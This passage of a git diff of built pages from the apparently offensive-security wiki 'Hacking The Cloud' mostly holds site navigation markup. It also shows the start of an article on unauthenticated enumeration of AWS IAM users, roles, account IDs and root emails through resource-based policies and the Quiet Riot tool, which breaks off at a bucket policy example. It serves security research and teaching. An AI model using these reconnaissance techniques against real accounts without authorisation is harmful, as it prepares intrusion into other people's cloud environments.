class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette, Wes Ladd (@righteousgambit), and skdg</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/enumeration/enum_iam_user_role.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=unauthenticated-enumeration-of-iam-users-and-roles>Unauthenticated Enumeration of IAM Users and Roles<a class=headerlink href=#unauthenticated-enumeration-of-iam-users-and-roles title="Permanent link">&para;</a></h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><aside style=display:flex> <p><a href="https://www.youtube.com/watch?v=8ZXRw4Ry3mQlink">Hacking AWS end-to-end - remastered</a> by <a href=https://twitter.com/dagrz>Daniel Grzelak</a></p> <p><a class=glightbox href=/images/researchers/daniel_grzelak.jpg data-type=image data-width=auto data-height=auto data-desc-position=bottom><img src=/images/researchers/daniel_grzelak.jpg alt="Daniel Grzelak" style=width:44px;height:44px;margin:5px;border-radius:100%;max-width:unset></a></p> </aside></p> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M18 22a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2h-6v7L9.5 7.5 7 9V2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2z"/></svg></span> <strong>Additional Resources</strong></p> <hr> <p>Reference: <a href=https://rhinosecuritylabs.com/aws/aws-role-enumeration-iam-p2/ >Unauthenticated AWS Role Enumeration (IAM Revisited)</a></p> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="m21.71 20.29-1.42 1.42a1 1 0 0 1-1.41 0L7 9.85A3.8 3.8 0 0 1 6 10a4 4 0 0 1-3.78-5.3l2.54 2.54.53-.53 1.42-1.42.53-.53L4.7 2.22A4 4 0 0 1 10 6a3.8 3.8 0 0 1-.15 1l11.86 11.88a1 1 0 0 1 0 1.41M2.29 18.88a1 1 0 0 0 0 1.41l1.42 1.42a1 1 0 0 0 1.41 0l5.47-5.46-2.83-2.83M20 2l-4 2v2l-2.17 2.17 2 2L18 8h2l2-4Z"/></svg></span> <strong>Tools mentioned in this article</strong></p> <hr> <ul> <li><a href=https://github.com/righteousgambit/quiet-riot>quiet-riot</a> </li> <li><a href=https://github.com/Frichetten/enumate_iam_using_bucket_policy>enumerate_iam_using_bucket_policy</a></li> <li><a href=https://github.com/RhinoSecurityLabs/pacu/tree/master/pacu/modules/iam__enum_roles>pacu:iam_enum_roles</a></li> </ul> </li> </ul> </div> <p>You can enumerate AWS Account IDs, Root User account e-mail addresses, IAM roles, IAM users, and gain insights to enabled AWS and third-party services by abusing <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html#policies_resource-based>Resource-Based Policies</a>, even in accounts for which you have no access. <a href=https://github.com/righteousgambitresearch/quiet-riot>Quiet Riot</a> offers a scalable method for enumerating each of these items with configurable wordlists per item type. Furthermore - it also allows you to enumerate Azure Active Directory and Google Workspace valid email addresses - which can then be used to test for valid Root User accounts in AWS, assuming that the email address is the same.</p> <p>Ultimately, if you want to perform these techniques at scale - Quiet Riot is your best bet, but if you want to do it manually, you can a number of ways to do so. Another way to enumerate IAM principals would be to use S3 Bucket Policies. Take the following example:</p> <div class=highlight><pre><span></span><code>{
     &quot;Version&quot;: &quot;2012-10-17&quot;,
     &quot;Statement&quot;: [
         {
diff --git a/aws/enumeration/enumerate_principal_arn_from_unique_id/index.html b/aws/enumeration/enumerate_principal_arn_from_unique_id/index.html
index e18475374..ca107bc51 100644
--- a/aws/enumeration/enumerate_principal_arn_from_unique_id/index.html
+++ b/aws/enumeration/enumerate_principal_arn_from_unique_id/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="How to convert an unique identifier to a principal ARN."><link href=https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/ rel=canonical><link href=../enum_iam_user_role/ rel=prev><link href=../enumerate_root_email_from_console/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Derive a Principal ARN from an AWS Unique Identifier - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Derive a Principal ARN from an AWS Unique Identifier - Hacking The Cloud"><meta property=og:description content="How to convert an unique identifier to a principal ARN."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_principal_arn_from_unique_id.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Derive a Principal ARN from an AWS Unique Identifier - Hacking The Cloud"><meta property=twitter:description content="How to convert an unique identifier to a principal ARN."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_principal_arn_from_unique_id.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="How to convert an unique identifier to a principal ARN."><link href=https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/ rel=canonical><link href=../enum_iam_user_role/ rel=prev><link href=../enumerate_root_email_from_console/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Derive a Principal ARN from an AWS Unique Identifier - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Derive a Principal ARN from an AWS Unique Identifier - Hacking The Cloud"><meta property=og:description content="How to convert an unique identifier to a principal ARN."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_principal_arn_from_unique_id.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Derive a Principal ARN from an AWS Unique Identifier - Hacking The Cloud"><meta property=twitter:description content="How to convert an unique identifier to a principal ARN."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_principal_arn_from_unique_id.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 